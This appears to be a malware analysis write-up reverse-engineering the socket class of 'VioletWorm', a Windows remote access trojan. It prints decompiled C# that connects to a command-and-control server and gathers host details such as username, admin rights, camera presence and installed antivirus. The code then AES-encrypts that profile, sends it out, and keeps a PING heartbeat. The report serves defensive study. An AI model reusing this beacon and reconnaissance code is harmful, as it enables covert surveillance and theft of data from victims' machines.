← Reports

Remote Access Trojan · Worm · Dropper

VioletWorm - game.exe

Author
Moise Medici
Updated
07 Sept 2026 · Completed
Difficulty
Easy
Platform
Windows
Capabilities
Dropping Secondary PayloadsPersistence MechanismsCommand and Control C2 CommunicationCommand Execution via Powershell Cmd BashData-ExfiltrationFile EncryptionKeyloggingScreen CaptureWebcam AccessClipboard ManipulationCredential TheftAMSI and ETW BypassSandbox and VM EvasionReflective Code LoadingUSB SpreadingDenial of Service
Tags
pythonC#

Class YOPogZWq

At the bottom of the file there are a few variables that can be easily renamed:

Original NameRenamed as
YoZWPEB2L4CWPcRdRPHEGooglesocketVariable
MjcXfRNkwsCZeQooUK7pGooglememoryStream
szLY41XofUrdNSiK3saIGooglmanualResetEvent
J49YGBiw55cb2H8tyMLYGoogleViolet

The other variables cannot be renamed easily until their purposes are understood.

The first method is:

Core.YOPogZWq
public static void QwNvA9jNWCTbcOz3ZcrL()
{
try
{
YOPogZWq.socketVariable = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
YOPogZWq.xuHClWQuCPgvcHVkmPJdGoogle = -1L;
YOPogZWq.oG0voGjHQ7rCF3JMolHXGoogle = new byte[1];
YOPogZWq.memoryStream = new MemoryStream();
YOPogZWq.socketVariable.ReceiveBufferSize = 51200;
YOPogZWq.socketVariable.SendBufferSize = 51200;
YOPogZWq.socketVariable.Connect(EncodedConstants.IpAddress, Conversions.ToInteger(EncodedConstants.Port));
YOPogZWq.9LbZhwNSqylZJ9SrepxIGoogle = true;
YOPogZWq.yzAyNFK1bjUSuAwfrrPVGoogle = RuntimeHelpers.GetObjectValue(new object());
YOPogZWq.jceX8VSgpCMIpFoVkQH6(Conversions.ToString(YOPogZWq.XOvFHiqm2ChefqEMQdX7()));
YOPogZWq.socketVariable.BeginReceive(YOPogZWq.oG0voGjHQ7rCF3JMolHXGoogle, 0, YOPogZWq.oG0voGjHQ7rCF3JMolHXGoogle.Length, SocketFlags.None, new AsyncCallback(YOPogZWq.S5a2LAzNIE4VVzBCAHoR), null);
TimerCallback timerCallback = new TimerCallback(YOPogZWq.lx38DDLpeC7zqvlEfQ5v);
YOPogZWq.eCQkn7TOjyewPNfF3CQ6Google = new Timer(timerCallback, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));
}
catch (Exception ex)
{
YOPogZWq.9LbZhwNSqylZJ9SrepxIGoogle = false;
}
finally
{
YOPogZWq.manualResetEvent.Set();
}
}

This almost certainly sets up a socket connection. The code initializes a TCP socket, configures the buffer sizes, and calls Connect with the IP address and port found previously.

Starting from the top, the purpose of xuHClWQuCPgvcHVkmPJdGoogle is still unclear because it is not used in this function, but it is used later in the same class.

The next variable, boG0voGjHQ7rCF3JMolHXGoogle, is used as the first argument to socketVariable.BeginReceive 26. According to the documentation, it stores the received data.

This is the full function definition:

public IAsyncResult BeginReceive(
byte[] buffer,
int offset,
int size,
System.Net.Sockets.SocketFlags socketFlags,
out System.Net.Sockets.SocketError errorCode,
AsyncCallback callback,
object state
);

In the code it is used as follows:

Core.YOPogZWq
YOPogZWq.socketVariable.BeginReceive(
YOPogZWq.oG0voGjHQ7rCF3JMolHXGoogle,
0,
YOPogZWq.oG0voGjHQ7rCF3JMolHXGoogle.Length,
SocketFlags.None,
new AsyncCallback(YOPogZWq.S5a2LAzNIE4VVzBCAHoR),
null
);

The callback is executed once the transfer is complete. Therefore, oG0voGjHQ7rCF3JMolHXGoogle can be renamed receivingBuffer, and S5a2LAzNIE4VVzBCAHoR can be renamed socketCallback.

For the Connect method 27, the first argument is the host and the second the port.

The variable eCQkn7TOjyewPNfF3CQ6Google can be renamed ConnectionTimer, while the purposes of the other variables are less clear. The function can still be renamed SocketInit while its behavior is analyzed:

Core.YOPogZWq
YOPogZWq.jceX8VSgpCMIpFoVkQH6(Conversions.ToString(YOPogZWq.XOvFHiqm2ChefqEMQdX7()));

Looking at the inner function first, it is very simple: it concatenates values and returns them as a string. It does however rely on many functions from another module.

Core.YOPogZWq
public static object XOvFHiqm2ChefqEMQdX7()
{
ComputerInfo computerInfo = new ComputerInfo();
return string.Concat(new object[]
{
Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("U1U1R1R3PT0=")))),
RuntimeHelpers.GetObjectValue(YOPogZWq.Violet),
HVJGiDs.MakeIdFromOSInfo(),
RuntimeHelpers.GetObjectValue(YOPogZWq.Violet),
Environment.UserName,
RuntimeHelpers.GetObjectValue(YOPogZWq.Violet),
computerInfo.OSFullName.Replace(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VFdsamNtOXpiMlow")))), null),
Environment.OSVersion.ServicePack.Replace(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VTJWeWRtbGpaU0JRWVdOcg==")))), Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VTFBPQ=="))))) + Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("SUE9PQ==")))),
Environment.Is64BitOperatingSystem.ToString().Replace(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("Um1Gc2MyVT0=")))), Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("TXpKaWFYUT0="))))).Replace(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VkhKMVpRPT0=")))), Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("TmpSaWFYUT0="))))),
RuntimeHelpers.GetObjectValue(YOPogZWq.Violet),
Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("Vm1sdmJHVjBJSFkwTGpjPQ==")))),
RuntimeHelpers.GetObjectValue(YOPogZWq.Violet),
HVJGiDs.xGFsEHL54eykyh7UWVCQ(),
RuntimeHelpers.GetObjectValue(YOPogZWq.Violet),
HVJGiDs.VWrNLmDY9sYZUsBeOKpi(),
RuntimeHelpers.GetObjectValue(YOPogZWq.Violet),
HVJGiDs.YrBNm9Ez9hjgg4WaPrgR(),
RuntimeHelpers.GetObjectValue(YOPogZWq.Violet),
OXGGVv.y57149kbjb6XNbG1XXUe(),
RuntimeHelpers.GetObjectValue(YOPogZWq.Violet),
HVJGiDs.hDorIijq60ZW37dbvZwO(),
RuntimeHelpers.GetObjectValue(YOPogZWq.Violet),
HVJGiDs.EnvbQ8ZFgsGM5Ur4Ve0b()
});
}

The analysis starts by replacing the values that are already known:

Core.YOPogZWq
public static object XOvFHiqm2ChefqEMQdX7()
{
ComputerInfo computerInfo = new ComputerInfo();
return string.Concat(new object[]
{
"INFO",
"Violet",
HVJGiDs.MakeIdFromOSInfo(),
"Violet",
Environment.UserName,
"Violet",
computerInfo.OSFullName.Replace("Microsoft"),
Environment.OSVersion.ServicePack.Replace("Service Pack"),
"SP" + " ",
Environment.Is64BitOperatingSystem.ToString().Replace("False"), "32bit".Replace("False"), "64bit",
"Violet",
"Violet v4.7",
"Violet",
HVJGiDs.xGFsEHL54eykyh7UWVCQ(),
"Violet",
HVJGiDs.VWrNLmDY9sYZUsBeOKpi(),
"Violet",
HVJGiDs.YrBNm9Ez9hjgg4WaPrgR(),
"Violet",
OXGGVv.y57149kbjb6XNbG1XXUe(),
"Violet",
HVJGiDs.hDorIijq60ZW37dbvZwO(),
"Violet",
HVJGiDs.EnvbQ8ZFgsGM5Ur4Ve0b()
});
}

The unknown functions can now be examined. The first one, with the Base64 decoding already resolved, returns the date on which the executable was last written. It can be renamed GetLastTimeSampleWritten.

Core.HVJGiDs
public static string xGFsEHL54eykyh7UWVCQ()
{
string text;
try
{
FileInfo fileInfo = new FileInfo(EncodedConstants.currentProcessName);
text = fileInfo.LastWriteTime.ToString("dd/MM/yyy");
}
catch (Exception ex)
{
text = "Error";
}
return text;
}

The next method compares the sample name with “USB.exe”, case-insensitively (the final argument is false). If they match, it returns True; otherwise, it returns False. The function can be renamed IsProcessNameUSBexe.

Core.HVJGiDs
public static string VWrNLmDY9sYZUsBeOKpi()
{
string text;
try
{
if (Operators.CompareString(Path.GetFileName(EncodedConstants.currentProcessName), EncodedConstants.USBexe, false) == 0)
{
text = "True";
}
else { text = "False"; }
}
catch (Exception ex) { text = "Error"; }
return text;
}

The next function gets the current Windows user identity, wraps it in a WindowsPrincipal, and checks whether the current process is running with the built-in Administrator role. WindowsPrincipal is a .NET class that represents the Windows user and security context for the current thread or process 28. The function can be renamed IsUserAdmin.

Core.HVJGiDs
public static string YrBNm9Ez9hjgg4WaPrgR()
{
string text;
try
{
text = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator).ToString();
}
catch (Exception ex) { text = "Error"; }
return text;
}

The next function contains an infinite loop that breaks in two situations: if WIrJZoCNlZFSXaJeI0RQ returns True, or if the loop has run more than five times. In the first case, the function returns true; otherwise, it returns false.

Core.OXGGVv
public static bool y57149kbjb6XNbG1XXUe()
{
checked
{
try
{
int num = 0;
for (;;)
{
string text = null;
short num2 = (short)num;
string text2 = Strings.Space(100);
if (OXGGVv.WIrJZoCNlZFSXaJeI0RQ(num2, ref text2, 100, ref text, 100))
{
break;
}
num++;
if (num > 4)
{
goto Block_3;
}
}
return true;
Block_3:;
}
catch (Exception ex)
{
}
return false;
}
}

The function WIrJZoCNlZFSXaJeI0RQ is defined just above the one we are currently analyzing, and it is a renamed Windows built-in function:

Core.OXGGVv
[DllImport("avicap32.dll", CharSet = CharSet.Ansi, EntryPoint = "capGetDriverDescriptionA", ExactSpelling = true, SetLastError = true)]
public static extern bool WIrJZoCNlZFSXaJeI0RQ(short wDriver, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszName, int cbName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVer, int cbVer);

As far as I understand, capGetDriverDescriptionA 29 retrieves information about a “capture driver”, which may be any driver used for video or audio streaming.

The function iterates over the first few drivers and returns true if any driver exists; otherwise, it returns false. This may be used to check whether a camera is present. The function is renamed isCaptureDriverAvailable.

Next, hDorIijq60ZW37dbvZwO uses ManagementObjectSearcher to find the antivirus products installed on the machine. From the documentation about this object x:

Retrieves a collection of management objects based on a specified query. This class is one of the more commonly used entry points to retrieving management information. For example, it can be used to enumerate all disk drives, network adapters, processes and many more management objects on a system, or to query for all network connections that are up, services that are paused, and so on.

It fetches all the installed antivirus products and collects the display name of each one. The result is returned via the text variable, which will be None if no antivirus is installed. The function is renamed as getAllInstalledAntivirus.

Core.HVJGiDs
public static string hDorIijq60ZW37dbvZwO()
{
string text;
try
{
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("\\" + Environment.MachineName + "\root\SecurityCenter2" , "Select * from AntivirusProduct")
{
StringBuilder stringBuilder = new StringBuilder();
try
{
foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
{
stringBuilder.Append(managementBaseObject["displayName"].ToString());
stringBuilder.Append(",");
}
}
finally
{
ManagementObjectCollection.ManagementObjectEnumerator enumerator;
if (enumerator != null)
{
((IDisposable)enumerator).Dispose();
}
}
if (stringBuilder.ToString().Length == 0)
{
text = "None";
}
else
{
text = stringBuilder.ToString().Substring(0, checked(stringBuilder.Length - 1));
}
}
}
catch (Exception ex)
{
text = "Error";
}
return text;
}

The last function, EnvbQ8ZFgsGM5Ur4Ve0b, checks whether a registry key created via the MakeIdFromOSInfo function contains the key NT, and if so returns its value. The registry key is probably created somewhere, though it was not found on the machine where the sample was executed. The function is renamed as getCustomRegKeyValue.

Core.HVJGiDs
public static string EnvbQ8ZFgsGM5Ur4Ve0b()
{
string text2;
try
{
string text = Conversions.ToString( Registry.GetValue( "HKEY_CURRENT_USER\\SOFTWARE\\" + HVJGiDs.MakeIdFromOSInfo(), "NT", null));
if (Operators.CompareString(text, null, false) == 0) { text2 = "Nothing"; }
else { text2 = text; }
}
catch (Exception ex) { text2 = "Error"; }
return text2;
}

The function under review, XOvFHiqm2ChefqEMQdX7, is now fully understood. It simply scans for information about the operating system, most notably admin privileges and installed antivirus. The function is renamed as ScanOS.

Core.YOPogZWq
public static object XOvFHiqm2ChefqEMQdX7()
{
ComputerInfo computerInfo = new ComputerInfo();
return string.Concat(new object[]
{
"INFO",
"Violet",
HVJGiDs.MakeIdFromOSInfo(),
"Violet",
Environment.UserName,
"Violet",
computerInfo.OSFullName.Replace("Microsoft"),
Environment.OSVersion.ServicePack.Replace("Service Pack"),
"SP" + " ",
Environment.Is64BitOperatingSystem.ToString().Replace("False", "32bit").Replace("True", "64bit")
"Violet",
"Violet v4.7",
"Violet",
HVJGiDs.GetLastTimeSampleWritten(),
"Violet",
HVJGiDs.IsProcessNameUsbExe(),
"Violet",
HVJGiDs.IsUserAdmin(),
"Violet",
OXGGVv.isCaptureDriverAvailable(),
"Violet",
HVJGiDs.getAllInstalledAntivirus(),
"Violet",
HVJGiDs.getCustomRegKeyValue()
});
}

As a reminder, the ScanOS function is called in the SocketInit function:

Core.YOPogZWq
YOPogZWq.jceX8VSgpCMIpFoVkQH6(Conversions.ToString(YOPogZWq.ScanOS()));

And now we can take a look at jceX8VSgpCMIpFoVkQH6.

Core.YOPogZWq
public static void jceX8VSgpCMIpFoVkQH6(string msg)
{
object obj = YOPogZWq.yzAyNFK1bjUSuAwfrrPVGoogle;
ObjectFlowControl.CheckForSyncLockOnValueType(obj);
lock (obj)
{
if (YOPogZWq.9LbZhwNSqylZJ9SrepxIGoogle)
{
try
{
using (MemoryStream memoryStream = new MemoryStream())
{
byte[] array = HVJGiDs.dYOsqhrjy5qj4bzZJFay(HVJGiDs.R5nIuzp8xY4RCMyEnoMb(msg));
byte[] array2 = HVJGiDs.R5nIuzp8xY4RCMyEnoMb(Conversions.ToString(array.Length) + Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("QUE9PQ==")))));
memoryStream.Write(array2, 0, array2.Length);
memoryStream.Write(array, 0, array.Length);
YOPogZWq.socketVariable.Poll(-1, SelectMode.SelectWrite);
YOPogZWq.socketVariable.BeginSend(memoryStream.ToArray(), 0, checked((int)memoryStream.Length), SocketFlags.None, new AsyncCallback(YOPogZWq.ENDVrhGAGJZ7Nh8GSXlA), null);
}
}
catch (Exception ex)
{
YOPogZWq.9LbZhwNSqylZJ9SrepxIGoogle = false;
}
}
}
}

The first two variables are among those that were not understood, so for now they can be skipped. The function R5nIuzp8xY4RCMyEnoMb is a wrapper around GetBytes from the standard library, so it can be renamed as GetBytes. The received message is therefore converted to bytes and passed to dYOsqhrjy5qj4bzZJFay.

Remember the XSXSXS constant found previously? That is used as the AES key. The constant is hashed with MD5 and assigned to the key field of the Rijndael object. As we have seen in the WannaCry sample, Rijndael is a family of ciphers used by AES 31

Core.HVJGiDs
public static byte[] dYOsqhrjy5qj4bzZJFay(byte[] input)
{
RijndaelManaged rijndaelManaged = new RijndaelManaged();
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
byte[] array;
try
{
rijndaelManaged.Key = md5CryptoServiceProvider.ComputeHash(HVJGiDs.GetBytes(EncodedConstants.XSXSXS));
rijndaelManaged.Mode = CipherMode.ECB;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
array = cryptoTransform.TransformFinalBlock(input, 0, input.Length);
}
catch (Exception ex)
{
}
return array;
}

So dYOsqhrjy5qj4bzZJFay can be renamed to AESEncrypt. The encrypted message is returned as an array of bytes, which is used in jceX8VSgpCMIpFoVkQH6 in two places: first to define the bytes variable, which indicates how many bytes are going to be sent, and second in memoryStream.Write to write the data in memory before it is sent off via the socket:

Core.YOPogZWq
YOPogZWq.socketVariable.BeginSend(memoryStream.ToArray(), 0, checked((int)memoryStream.Length), SocketFlags.None, new AsyncCallback(YOPogZWq.ENDVrhGAGJZ7Nh8GSXlA), null);

The callback function is very simple and can be renamed as EndSocketSend:

Core.YOPogZWq
public static void ENDVrhGAGJZ7Nh8GSXlA(IAsyncResult ar)
{
try
{
YOPogZWq.socketVariable.EndSend(ar);
}
catch (Exception ex)
{
YOPogZWq.9LbZhwNSqylZJ9SrepxIGoogle = false;
}
}

This is called at the end of the connection to terminate the socket. If an error occurred, the variable 9LbZhwNSqylZJ9SrepxIGoogle is set to false. We can then rename 9LbZhwNSqylZJ9SrepxIGoogle to IsSocketSendSuccessful. The field yzAyNFK1bjUSuAwfrrPVGoogle can be renamed as SocketLock, as it is used by the program to take control of the socket and avoid mixing different messages that are currently being sent.

Lastly jceX8VSgpCMIpFoVkQH6 can be renamed to SendEncryptedMessage.

Another function that needs to be reviewed is:

Core.YOPogZWq
public static void OS9fceuI7hDX5HJoRwlm()
{
try
{
if (YOPogZWq.IsSocketSendSuccessful)
{
YOPogZWq.SendEncryptedMessage(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VUVsT1J6OD0=")))));
GC.Collect();
}
}
catch (Exception ex)
{
}
}

which is simply a ping utility, as the message being sent is literally PING, probably used to check connectivity to the server. This is renamed to SendPing.

There are two functions left: jwkTVfvlJmNmPUtrd3uH and WPwHaEwJ67GWVXC68S6q. The first one calls OXGGVv.Iqk3f5mMWDPX6uFunFpk, which is about 1k lines long and relies on functions and variables we have not identified yet, so it will be analyzed later.

The second function is simply a cleanup method: if any of the socket variables have been defined, like the memory stream we just looked at, they get disposed of. This is probably called every time the socket completes a send, in order to have a clean state for the next push of data. It can be renamed as SocketCleanup.

Core.YOPogZWq
public static void WPwHaEwJ67GWVXC68S6q()
{
if (YOPogZWq.ConnectionTimer != null)
{
try
{
YOPogZWq.ConnectionTimer.Dispose();
YOPogZWq.ConnectionTimer = null;
}
catch (Exception ex)
{
}
}
if (YOPogZWq.memoryStream != null)
{
try
{
YOPogZWq.memoryStream.Close();
YOPogZWq.memoryStream.Dispose();
YOPogZWq.memoryStream = null;
}
catch (Exception ex2)
{
}
}
if (YOPogZWq.socketVariable != null)
{
try
{
YOPogZWq.socketVariable.Close();
YOPogZWq.socketVariable.Dispose();
YOPogZWq.socketVariable = null;
}
catch (Exception ex3)
{
}
}
GC.Collect();
}

With this we have finished the analysis of YOPogZWq and we can rename it to SocketManager.

Up next, since in this module we have looked at quite a few HVJGiDs methods, I think we can continue from there.